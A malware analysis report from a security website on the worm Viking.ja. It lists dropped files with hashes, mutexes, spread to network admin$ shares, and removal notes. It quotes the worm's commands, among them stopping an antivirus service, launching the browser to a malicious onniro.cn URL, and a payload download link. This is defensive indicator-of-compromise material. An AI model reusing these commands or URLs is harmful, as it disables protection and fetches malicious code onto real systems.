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Worm.Viking.ja Analysis Report
Threat Submitted On: 7/13/2007 10:13:43 AM
Threat Analysed On: 7/13/2007 3:13:43 PM
Threat Updated On: 10/7/2009 12:31:02 PM
Type : Worm
Symptoms of Viking.ja
  • Replicates itself and spreads to the other computers of the network.
  • Installed by executing the scripts from infected e-mail attachments or messages.
Information
Alias : Worm.Win32.Viking.ja
Md5 Hash : [21327513e7bd3bc3d682196439386cf4]
File Size : (230656 bytes)

Here are the Technical findings of our analysis team after analyzing this malware in detail :-

Creates the following infected Files on user's System
Note:
Delete the following Files to remove Infection
File: logo1_.exe
Path : %networkpath%
Md5Hash :( bytes)
File: oqdaj.exe
Path : %systemdrive%
Md5Hash :21327513e7bd3bc3d682196439386cf4 ( 230656 bytes)
File: $$a16.bat
Path : %temp%
Md5Hash :4e3d9529cc3d47bd29892683c06a6915 ( bytes)
File: $$a4.bat
Path : %temp%
Md5Hash :5e1998e97413d2b6e377cf211c8178c7 ( bytes)
File: 89fe_appcompat.txt
Path : %temp%
Md5Hash :f040ee73d1b278fb07a7ea657572bce1 ( 29006 bytes)
File: 8z6fg6lk.sys
Path : %temp%
Md5Hash :993c0f6893ea3f8a430707fe418920a2 ( bytes)
File: ie7fba.tmp
Path : %temp%
Md5Hash :( bytes)
File: qga19.tmp
Path : %temp%
Md5Hash :4f407b29d53e9eb54e22d096fce82aa7 ( 176128 bytes)
File: ee9ad7cee7501f1bd3293fb1af6df955.exe
Path : %windir%
Md5Hash :21327513e7bd3bc3d682196439386cf4 ( 230656 bytes)
File: logo1_.exe
Path : %windir%
Md5Hash :cf5f375def0b72bc222233a753afe226 ( 27111 bytes)
File: rundl132.exe
Path : %windir%
Md5Hash :cf5f375def0b72bc222233a753afe226 ( 27111 bytes)
File: vdll.dll
Path : %windir%
Md5Hash :44d0d7cb8233379ae1a0e2190faf720d ( 22528 bytes)
File: [randomname].exe
Path : %workingdir%
Md5Hash :21327513e7bd3bc3d682196439386cf4 ( 230656 bytes)
File: [randomname].exe.exe
Path : %workingdir%
Md5Hash :21327513e7bd3bc3d682196439386cf4 ( bytes)
Also creates the following files on user's System which are also created by Genuine Software :-
Note:
These file(s) can be kept as they are also created by genuine Software.
File : autorun.inf
Path : %systemdrive%
Md5Hash :06962b846aef351e07b0c418b89fec49 ( 99 bytes)
File : 19c2b.dmp
Path : %temp%
Md5Hash :d41d8cd98f00b204e9800998ecf8427e ( 0 bytes)
File : desktop.ini
Path : %userprofile%\favorites
Md5Hash :fc2bf37169c033a08c1fd7680193cce2 ( 122 bytes)
File : desktop.ini
Path : %userprofile%\local settings\history
Md5Hash :d332ce83b166d5c244d22587ad75aac4 ( 113 bytes)
File : desktop.ini
Path : %userprofile%\local settings\temporary internet files
Md5Hash :4a3deb274bb5f0212c2419d3d8d08612 ( 67 bytes)
File : concmd.dll
Path : %windir%
Md5Hash :c4ca4238a0b923820dcc509a6f75849b ( 1 bytes)
File : netcom.dll
Path : %windir%
Md5Hash :d41d8cd98f00b204e9800998ecf8427e ( 0 bytes)
The following Registry Values are added to the provided Registry Keys which are also created by Genuine Software :-
Note:
These Values can be left as they are also created by legitimate Software :-
Creates the following child process(s) on execution:

%systemdrive%\docume~1\antisp~1\locals~1\temp\$$a4.bat

%windir%\logo1_.exe

net stop kingsoft antivirus service

%programfiles%\internet explorer\iexplore.exe

%programfiles%\internet explorer\iedw.exe -h 780

net1 stop kingsoft antivirus service

services.exe

%windir%\system32\dwwin.exe -x -s 2008

%workingdir%\[random name].exe

%systemdrive%\docume~1\antisp~1\locals~1\temp\$$a16.bat

%programfiles%\internet explorer\iexplore.exe http://ok.onniro.cn/power.asp?myid=1014431359841

Tries to Download Files from the following links :-

http://cha.onniro.cn/text/a841.txt

Creates the Following MUTEX(s) on user's System:-
iexplore.xpexceptionfilter
raspbfile
sfaee5353g#2007
shell.cmrupidllist
msratingmutex
ctf.lbes.mutexdefaults-1-5-21-3940780282-119073973-2237615918-1010
ctf.compart.mutexdefaults-1-5-21-3940780282-119073973-2237615918-1010
ctf.asm.mutexdefaults-1-5-21-3940780282-119073973-2237615918-1010
ctf.layouts.mutexdefaults-1-5-21-3940780282-119073973-2237615918-1010
ctf.tmd.mutexdefaults-1-5-21-3940780282-119073973-2237615918-1010
Tries To Connect's to the following IP Address(s) through UDP(User DataGram Protocal) :-

127.0.0.1

Copies the Following Files to Given Location :-

Copies :%windir%\logo1_.exe

To : \10.10.36.1\admin$\logo1_.exe

Copies :%windir%\logo1_.exe

To : \10.10.36.2\admin$\logo1_.exe

Copies :%windir%\logo1_.exe

To : \10.10.36.4\admin$\logo1_.exe

Copies :%workingdir%\[random name].exe

To : e:\oqdaj.exe

Copies :%workingdir%\[random name].exe

To : %windir%\ee9ad7cee7501f1bd3293fb1af6df955.exe

Moves the Following Files to Given Location :-
Moves :%workingdir%\[random name].exe.exe
To : %workingdir%\[random name].exe

NOTE:

1. %networkpath% Refers to the any network location on Local Area Network(LAN).
2. %systemdrive% Refers to the windows System drive folder. By default it is 'C:\'
3. %temp% Refers to the windows temp folder. By default it is 'C:\Documents and Settings\[user]\Local Settings\Temp'
4. %windir% Refers to the windows root folder. By default it is 'C:\Windows'
5. %workingdir% Refers to the current directory in which user is working.
6. %userprofile% Refers to the windows current user's profile folder. By default it is 'C:\Documents and Settings\[user]'

Important: We strongly recommend that you backup the Registry before making any changes to it. Incorrect changes to the Registry can result in permanent data loss or corrupted Files. Modify the malicious\suspicious Subkeys only.

Click Here for more spywarelib.com recommended PC Security and Optimization Tools

To modify registry entries in Windows Operating System:
Follow Steps:
1. Click Start > Run
2. Type “regedit” : to open registry editor
3. Navigate to required registry Key from the Left Tree control and modify accordingly.

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